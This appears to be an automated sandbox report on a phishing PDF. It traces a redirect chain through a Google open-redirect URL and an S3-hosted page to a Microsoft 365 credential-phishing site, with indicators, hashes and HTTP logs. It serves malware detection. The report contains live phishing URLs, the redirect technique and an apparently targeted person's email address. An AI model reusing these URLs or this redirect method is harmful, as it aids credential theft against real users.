Edit tour

Windows Analysis Report
Employee_Bonus_Notlce.pdf

Overview

General Information

Sample name:	Employee_Bonus_Notlce.pdf
Analysis ID:	1567653
MD5:	2898560d3ae6fe266e7443201fcfb573
SHA1:	faa1534330156fe4e61ac14acc26ccebd4e27af6
SHA256:	5a78fd183490ab789c28e1dd962808025cd09c4aa3d4d1d83aa13269ee67bb93
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee_Bonus_Notlce.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1612,i,174092131343990253,18281594203007401030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.mk/url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html#bGZhcnJlcmFAd2VzLm9yZw== MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,18016529301034544980,10906069851413136034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft 365' is a well-known product of Microsoft, which is a well-known brand., The URL 'yamami.com.sa' does not match the legitimate domain 'microsoft.com'., The domain 'yamami.com.sa' does not appear to be associated with Microsoft or its services., The presence of a request to confirm an email address is a common tactic used in phishing attempts., The domain 'yamami.com.sa' is not a typical domain extension or structure used by Microsoft. DOM: 1.0.pages.csv

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains QR code

AI detected suspicious Javascript

Source: 1.1..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://yamami.com.sa/paper/karoke/script.js...Script contains heavily obfuscated code (base64/encoded string) with a 'secretkey' variable. The presence of encoded content of this size combined with a secret key suggests potential malicious behavior, as legitimate scripts rarely need this level of obfuscation. This pattern is commonly associated with malware or malicious code trying to evade detection.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://xix-i.s3.us-west-2.amazonaws.com/ff.mp3.ht...High risk due to suspicious redirect behavior. Script extracts data from URL hash and redirects to an uncommon domain (yamami.com.sa) while preserving the encoded parameter. This pattern is commonly used in phishing attacks to maintain user data across redirects. The domain appears non-standard and the path structure (/paper/karoke/) seems potentially deceptive.

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==

HTTP Parser: Number of links: 0

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==

HTTP Parser: Title: Security Verification does not match URL

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	HTTP Parser: No favicon
Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	HTTP Parser: No favicon

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	HTTP Parser: No <meta name="author".. found
Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	HTTP Parser: No <meta name="author".. found

Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	HTTP Parser: No <meta name="copyright".. found
Source: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49965 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.google.mk to https://xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 13.227.8.47 13.227.8.47
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 2.20.68.210
Source: unknown	TCP traffic detected without corresponding DNS query: 2.20.68.210
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html HTTP/1.1Host: www.google.mkConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html HTTP/1.1Host: www.google.mkConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=hYBHqjZwexhO0GzOnk2rH78DOiagGQAA2IxN2aoVAqiD4v2_De85Bevo_lYBkS6cp6OfzGC-KA-pD4fjo171e8JAvRSSqhnGcuUNb3fHtSkJlc7R_DZ0tfivIxXRs33aXMWgYG-EC_OI4yXLZXg9wFsL-9RaOT03toRe3TlouGhBTP5gokVwJplcBnp87-fauf0D
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ff.mp3.html HTTP/1.1Host: xix-i.s3.us-west-2.amazonaws.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /paper/karoke/index HTTP/1.1Host: yamami.com.saConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://xix-i.s3.us-west-2.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /paper/karoke/image/logo.png HTTP/1.1Host: yamami.com.saConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yamami.com.sa/paper/karoke/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /paper/karoke/style.css HTTP/1.1Host: yamami.com.saConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://yamami.com.sa/paper/karoke/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /paper/karoke/script.js HTTP/1.1Host: yamami.com.saConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://yamami.com.sa/paper/karoke/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DCw7aGoODMNBElg&MD=bC+8hMUv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /paper/karoke/image/logo.png HTTP/1.1Host: yamami.com.saConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://yamami.com.saSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://yamami.com.sa/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yamami.com.saConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yamami.com.sa/paper/karoke/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /paper/karoke/script.js HTTP/1.1Host: yamami.com.saConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wes.org?size=256 HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://yamami.com.saSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://yamami.com.sa/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: yamami.com.saConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://yamami.com.saSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://yamami.com.sa/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wes.org?size=256 HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DCw7aGoODMNBElg&MD=bC+8hMUv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
